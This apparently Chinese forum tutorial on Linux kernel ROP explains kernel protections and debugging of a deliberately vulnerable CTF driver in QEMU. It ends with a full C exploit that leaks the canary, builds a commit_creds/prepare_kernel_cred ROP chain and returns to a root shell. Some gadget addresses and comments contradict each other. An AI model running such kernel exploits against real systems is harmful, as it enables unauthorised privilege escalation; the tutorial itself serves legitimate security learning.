首页
社区
课程
招聘
[原创]Linux Kernel Pwn_0_kernel ROP与驱动调试
2020-10-3 11:13 7147

[原创]Linux Kernel Pwn_0_kernel ROP与驱动调试

2020-10-3 11:13
7147

 

title: Linux Kernel pwn(0)——kernel ROP
date: 2020-07-12 13:31:38
tags:
categories: kernel

cover: https://s1.ax1x.com/2020/07/14/UNnv1P.png

前置知识

内核保护相关

SMAP/SMEP

SMAP(Supervisor Mode Access Prevention,管理模式访问保护)和SMEP(Supervisor Mode Execution Prevention,管理模式执行保护)的作用分别是禁止内核访问用户空间的数据和禁止内核执行用户空间的代码。arm里面叫PXN(Privilege Execute Never)和PAN(Privileged Access Never)。SMEP类似于前面说的NX,不过一个是在内核态中,一个是在用户态中。和NX一样SMAP/SMEP需要处理器支持,可以通过cat /proc/cpuinfo查看,在内核命令行中添加nosmap和nosmep禁用。windows系统从win8开始启用SMEP,windows内核枚举哪些处理器的特性可用,当它看到处理器支持SMEP时通过在CR4寄存器中设置适当的位来表示应该强制执行SMEP,可以通过ROP或者jmp到一个RWX的内核地址绕过。linux内核从3.0开始支持SMEP,3.7开始支持SMAP。
在没有SMAP/SMEP的情况下把内核指针重定向到用户空间的漏洞利用方式被称为ret2usr。physmap是内核管理的一块非常大的连续的虚拟内存空间,为了提高效率,该空间地址和RAM地址直接映射。RAM相对physmap要小得多,导致了任何一个RAM地址都可以在physmap中找到其对应的虚拟内存地址。另一方面,我们知道用户空间的虚拟内存也会映射到RAM。这就存在两个虚拟内存地址(一个在physmap地址,一个在用户空间地址)映射到同一个RAM地址的情况。也就是说,我们在用户空间里创建的数据,代码很有可能映射到physmap空间。基于这个理论在用户空间用mmap()把提权代码映射到内存,然后再在physmap里找到其对应的副本,修改EIP跳到副本执行就可以了。因为physmap本身就是在内核空间里,所以SMAP/SMEP都不会发挥作用。这种漏洞利用方式叫ret2dir。

简单来讲就是隔离了内核和用户空间,内核没法用用户空间的代码。

Stack protector

类似于用户态的canary?
当然在内核中也是有这种防护的,编译内核时设置CONFIG_CC_STACKPROTECTOR选项即可,该补丁是Tejun Heo在09年给主线kernel提交的。2.6.24:首次出现该编译选项并实现了x64平台的进程上下文栈保护支持。2.6.30:新增对内核中断上下文的栈保护和对x32平台进程上下文栈保护支持。3.14:对该功能进行了一次升级以支持gcc的-fstack-protector-strong参数,提供更大范围的栈保护关于函数返回地址的问题属于CFI(Control Flow Integrity,控制流完整性保护)中的后向控制流完整性保护。近几年人们提出了safe-stack和shadow-call-stack引入一个专门存储返回地址的栈替代Stack Protector。可以从下图看到shadow-call-stack开销更小一点。这项技术已经应用于android,而linux内核仍然在等待硬件的支持。

Kernel Address Display Restriction

在linux内核漏洞利用中常常使用commit_creds和prepare_kernel_cred来完成提权,它们的地址可以从/proc/kallsyms中读取。从Ubuntu 11.04和RHEL 7开始,/proc/sys/kernel/kptr_restrict被默认设置为1以阻止通过这种方式泄露内核地址。(非root用户不可读取)

KALSR

内核地址随机化,类似于用户态的alsr,非默认开始

内核提权相关

方式

一般调用commit_creds(prepare_kernel_cred(0))完成提权然后用户态“着陆”起shell

cred结构体

kernel用cred结构体记录进程的权限(每个进程中都有一个cred结构),保存了进程权限相关信息(uid、gid),如果能修改这个cred,就完成了提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;           /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;                   /* real UID of the task */
    kgid_t      gid;                   /* real GID of the task */
    kuid_t      suid;                  /* saved UID of the task */
    kgid_t      sgid;                  /* saved GID of the task */
    kuid_t      euid;                  /* effective UID of the task */
    kgid_t      egid;                  /* effective GID of the task */
    kuid_t      fsuid;                 /* UID for VFS ops */
    kgid_t      fsgid;                 /* GID for VFS ops */
    unsigned    securebits;            /* SUID-less security management */
    kernel_cap_t    cap_inheritable;   /* caps our children can inherit */
    kernel_cap_t    cap_permitted;     /* caps we're permitted */
    kernel_cap_t    cap_effective;     /* caps we can actually use */
    kernel_cap_t    cap_bset;          /* capability bounding set */
    kernel_cap_t    cap_ambient;       /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;       /* default keyring to attach requested
    /* keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring;      /* keyring private to this process */
    struct key  *thread_keyring;       /* keyring private to this thread */
    struct key  *request_key_auth;     /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;             /* subjective LSM security */
#endif
    struct user_struct *user;          /* real user ID subscription */
    struct user_namespace *user_ns;    /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;     /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;               /* RCU deletion hook */
} __randomize_layout;

状态切换

user2kernl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
ENTRY(entry_SYSCALL_64)
    /*
     * Interrupts are off on entry.
     * We do not frame this tiny irq-off block with TRACE_IRQS_OFF/ON,
     * it is too small to ever cause noticeable irq latency.
     */
    SWAPGS_UNSAFE_STACK //swapgs
    /*
     * A hypervisor implementation might want to use a label
     * after the swapgs, so that it can do the swapgs
     * for the guest and jump here on syscall.
     */
GLOBAL(entry_SYSCALL_64_after_swapgs)
 
    movq    %rsp, PER_CPU_VAR(rsp_scratch)
    movq    PER_CPU_VAR(cpu_current_top_of_stack), %rsp
 
    TRACE_IRQS_OFF
 
    /* Construct struct pt_regs on stack */
    pushq    $__USER_DS            /* pt_regs->ss */
    pushq    PER_CPU_VAR(rsp_scratch)    /* pt_regs->sp */
    pushq    %r11                /* pt_regs->flags */
    pushq    $__USER_CS            /* pt_regs->cs */
    pushq    %rcx                /* pt_regs->ip */
    pushq    %rax                /* pt_regs->orig_ax */
    pushq    %rdi                /* pt_regs->di */
    pushq    %rsi                /* pt_regs->si */
    pushq    %rdx                /* pt_regs->dx */
    pushq    %rcx                /* pt_regs->cx */
    pushq    $-ENOSYS            /* pt_regs->ax */
    pushq    %r8                /* pt_regs->r8 */
    pushq    %r9                /* pt_regs->r9 */
    pushq    %r10                /* pt_regs->r10 */
    pushq    %r11                /* pt_regs->r11 */
    sub    $(6*8), %rsp            /* pt_regs->bp, bx, r12-15 not saved */
 
    /*
     * If we need to do entry work or if we guess we'll need to do
     * exit work, go straight to the slow path.
     */
    movq    PER_CPU_VAR(current_task), %r11
    testl    $_TIF_WORK_SYSCALL_ENTRY|_TIF_ALLWORK_MASK, TASK_TI_flags(%r11)
    jnz    entry_SYSCALL64_slow_path
  • 1.swapgs切换到kernel GS
    2.保存栈值,设置内核栈#define PER_CPU_VAR(var) %__percpu_seg:var其中%__percpu_seg是GS
    3.压栈保存寄存器
    4.判断类型
    5.通过系统调用号跳转
    1
    2
    3
    4
    5
    entry_SYSCALL64_slow_path:
      /* IRQs are off. */
      SAVE_EXTRA_REGS
      movq    %rsp, %rdi
      call    do_syscall_64        /* returns with IRQs disabled */

    kernel2user

    1.swapgs恢复GS
    2.iretq(加上寄存器信息)或sysretq

文件结构

    1. boot.sh: 内核启动脚本
      1
      2
      3
      4
      5
      6
      qemu-system-x86_64 \        "默认使用qemu启动"
      -kernel bzImage \           "Linux内核镜像文件"
      -initrd rootfs.img \        "打包后的文件系统"
      -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet" \        "启动界面为终端、内存文件系统RamDisk、"
      -cpu qemu64,+smep,+smap \   "开启了smap、smep机制,这意味着,内核态里面不能直接访问用户态的数据,而应该拷贝到内核的空间;内核态不能执行用户空间的代码,否则会触发页错误"
      -nographic \                "非图形界面"
  • 2.bzImage:Linux内核镜像文件

  • 3.rootfs.img: 打包后的文件系统
  • 4.rop.ko:有漏洞的驱动文件
  • 5.vmlinux: vmlinux是未压缩的内核,vmlinux 是ELF文件,即编译出来的最原始的文件。用于kernel-debug,产生system.map符号表,不能用于直接加载,不可以作为启动内核。只是启动过程中的中间媒体

相关选项:

1
2
3
4
5
6
7
-cpu kvm64,+smep,+smap 设置 CPU的安全选项, 这里开启了 smap 和 smep
 
-kernel 设置内核 bzImage 文件的路径
 
-initrd 设置(利用 busybox 创建的 )rootfs.img ,作为内核启动的文件系统
 
-gdb tcp::1234 设置 gdb 的调试端口 为 1234

启动之前

首先要对打包后的文件系统进行处理解包

1
2
3
4
5
cp rootfs.img rootfs.cpio
mkdir core
cd core
mv ../rootfs.cpio ./
cpio -idmv < rootfs.cpio

现在在文件夹目录下有一个core目录,里面就是文件系统了。效果如下这里要注意一下gen.sh他是用来打包文件系统的脚本并生成rootfs.img如下:find .| cpio -o --format=newc > ../rootfs.img

查看开机自启动脚本 core/etc/init.d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
 
echo /sbin/mdev > /proc/sys/kernel/hotplug
/sbin/mdev -s
 
insmod /home/pwn/rop.ko
 
chmod -R 111 /bin
chmod -R 111 /usr/bin
chmod -R 111 /sbin
cat /proc/kallsyms > /tmp/kallsyms  # 当/proc/sys/kernel/kptr_restrict=1时,普通用户不能通过/proc/kallsyms读取函数地址,为减少难度直接将kallsyms内容写入临时目录
chmod 666 /tmp/kallsyms
 
chown -R 1000:1000 /home/pwn
 
chown 0:0 /flag
chmod 700 /flag
 
chmod 666 /dev/rop_dev
 
cd /home/pwn
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
poweroff -d 0 -f

这里把/proc/kallsyms拷贝到/tmp/kallsyms里,并且设置了sid和uidgid,明显不是root用户的。
/proc/kallsyms与内核符号相关

rop.ko文件

  • dangerous函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    void __cdecl dangerous(size_t num)
    {
    char overflow[16]; // [rsp+8h] [rbp-18h]
    unsigned __int64 v2; // [rsp+18h] [rbp-8h]
     
    v2 = __readgsqword(0x28u);
    *(_QWORD *)overflow = 0LL;
    *(_QWORD *)&overflow[8] = 0LL;
    printk(&unk_37F, v2);   // 打出canary
    memcpy(overflow, kernel_buf, num);
    }

ROP链构造

查看kaslr与基地址偏移

1.启动起来后执行cat /tmp/kallsyms | grep startup_64得到:ffffffff89e00000 T startup_64
若此时startup_64不为0xffffffff81000000则差值就是内核基地址的加载偏移
2.得到prepare_kernel_cred地址ffffffff89e834b0 T prepare_kernel_cred
3.得到commit_creds地址ffffffff89e83190 T commit_creds

用户态与内核态的切换

进入内核前保存用户态数据:

1
2
3
4
5
6
7
8
9
10
size_t user_cs, user_ss, user_rflags, user_sp;  //保存用户态寄存器状态
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
}

内核态返回用户态:

  • swapgs指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序。
  • iretq 的堆栈布局如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    |----------------------|
    | RIP                  |<== low mem
    |----------------------|
    | CS                   |
    |----------------------|
    | EFLAGS               |
    |----------------------|
    | RSP                  |
    |----------------------|
    | SS                   |<== high mem
    |----------------------|

新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。

ROPgadget(这里真的找了半天)

  • ROPgadget --binary vmlinux > rop_gadget查找vmlinux的ropgadget
  • objdump -d vmlinux -M intel | grep -E 'mov rdi|rax' > gadget或者直接dump出来,这样比较多
  • 之前找了一条gadget0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret
    结果发现根本不能用,原因在于rax此时是指向新cred的指针(必不为零)test之后zf=0,jne一定会跳转,ret回不来。
  • 最后找到0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret然后补一条0xffffffff8101647d : test al, 1 ; ret

最终rop布置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|----------------------|
| pop rdi; ret         |<== low mem
|----------------------|
| NULL                 |
|----------------------|
| addr of              |
| prepare_kernel_cred()|
|----------------------|
| test al, 1 ; ret     |
|----------------------|
|mov rdi, rax          |
|test rax, rax         |
|jne 0xffffffff810f1220|
|   ret                |
|----------------------|
| addr of              |
| commit_creds()       |
|----------------------|
| swapgs;              |
| pop rbp; ret         |
|----------------------
| NULL                 |
|----------------------|     
| iretq;               |
|----------------------|
| shell                |
|----------------------|
| user_CS              |
|----------------------|
| user_EFLAGS          |
|----------------------|
| user_RSP             |
|----------------------|
| user_SS              |<== high mem
|----------------------|

查找iretq

发现ROPgadget中找不到iretq
在这里直接去搜索48 CF找到iretq
opt+B

自己写了一个小sh文件

1
2
3
4
5
6
7
gcc exp.c -masm=intel -static -o exp &&
cp exp ./core/home/pwn/ &&
cd core/    &&
sh gen.sh &&
echo "success!" &&
cd ../ &&
sh boot.sh

注意这里一定要做静态编译,因为内核中没有glibc这些玩意。

向驱动中的函数下断点

  • vmlinux本身是去掉符号表的,但我们想断在驱动中的函数。cat /proc/modules | grep rop拿到相关地址
  • 也可通过lsmodcat /sys/module/rop/section/.text
  • 得到rop 16384 0 - Live 0x12345
    然后在gdb窗口中:add-symbol-file ./rop.ko 0x12345
    接下来就可以直接断在驱动中的函数里了。
    但是经过我实际测试,这三个应该效果是一样的,但你必须修改rcS启动脚本以root启动,才能看到真正的地址要不然就是0x000000000
    效果如下:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#define N 256
 
 
size_t user_cs, user_ss, user_rflags, user_sp;  //保存用户态寄存器状态
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
}
 
void shell(){
    printf("root");
    system("/bin/sh");
}
 
size_t get_addr(char *name){
    char cmd[N];
    FILE *f;
    size_t info;
    memset(cmd,0,256);
    strcat(cmd,"cat /tmp/kallsyms | grep ");
    strcat(cmd,name);
    strcat(cmd," >");
    strcat(cmd," ");
    strcat(cmd,name);
    //printf("execute: %s\n",cmd);
    system(cmd);
 
    f = fopen(name,"r");
    if(!f){
        printf("fopen error!\n");
        exit(-1);
    }
    fscanf(f,"%lx",&info);
    printf("%s : %lx\n",name,info);
    fclose(f);
    return info;
}
 
size_t get_canary(){
    FILE *f;
    size_t info;
    char *name = "canary";
    system("dmesg | grep canary > canary");
    f = fopen(name,"r");
    if(!f){
        printf("fopen error!\n");
        exit(-1);
    }
    fseek(f,strlen("[   32.050924] canary is "),SEEK_SET);
    fscanf(f,"%lx",&info);
    printf("%s : %lx\n",name,info);
    fclose(f);
    return info;
}
 
void *rop(size_t *rop,size_t offset,size_t prepare_kernel_cred,size_t commit_creds){
    int i=0;
    rop[i++] = 0xffffffff810013a8 + offset; //pop rdi;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
 
    rop[i++] = 0xffffffff8101647d + offset; // 0xffffffff8101647d : test al, 1 ; ret
    rop[i++] = 0xffffffff8138e454 + offset; // 0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret
    //A pointer to the new cred struct will be stored in %rax which can then be moved to %rdi again and passed as the first argument to commit_creds().
 
    rop[i++] = commit_creds;
    rop[i++] = 0xffffffff81c00d5a + offset; // swapgs ; popfq ; ret
    rop[i++] = 0x0;
    rop[i++] = 0xffffffff81021d02 + offset; // iretq
    rop[i++] = (size_t)shell;               //rip
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
 
}
 
 
int main(){
    size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary;
    save_status();
    startup_64 = get_addr("startup_64");
    prepare_kernel_cred = get_addr("prepare_kernel_cred");
    commit_creds = get_addr("commit_creds");
    offset = startup_64 - 0xffffffff81000000;
    printf("offset : %lx\n",offset);
    int fd = open("/dev/rop_dev",O_WRONLY);
    if(fd<0){
        printf("open error!\n");
        exit(-2);
    }
    size_t payload[0x10] = {0x1};
    write(fd,payload,0x10);
    write(fd,payload,0x10); //双写打出canary(缓冲区)
    canary = get_canary();
    printf("size_t : %ld\n",sizeof(size_t));
 
 
 
    size_t payload2[20]={0};
    payload2[0] = 0x6161616161616161;
    payload2[1] = 0x6161616161616161; // 0x10
    payload2[2] = canary;
    save_status();
    rop(&payload2[3],offset,prepare_kernel_cred,commit_creds);
    printf("start to pwn >\n");
    write(fd,payload2,17*8);
    printf("over!\n");
    return 0;
}

效果:

参考

https://blog.csdn.net/u013686019/article/details/26846571/
https://www.anquanke.com/post/id/172216
https://www.povcfe.site/2020/05/16/kernel-rop/
https://xz.aliyun.com/t/2306
https://xz.aliyun.com/t/2054?accounttraceid=913e28d0aee642b792d6762fbc95e68ahnaw
安全防护机制
https://bbs.pediy.com/thread-226696.htm


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-10-4 00:11 被Roland_编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回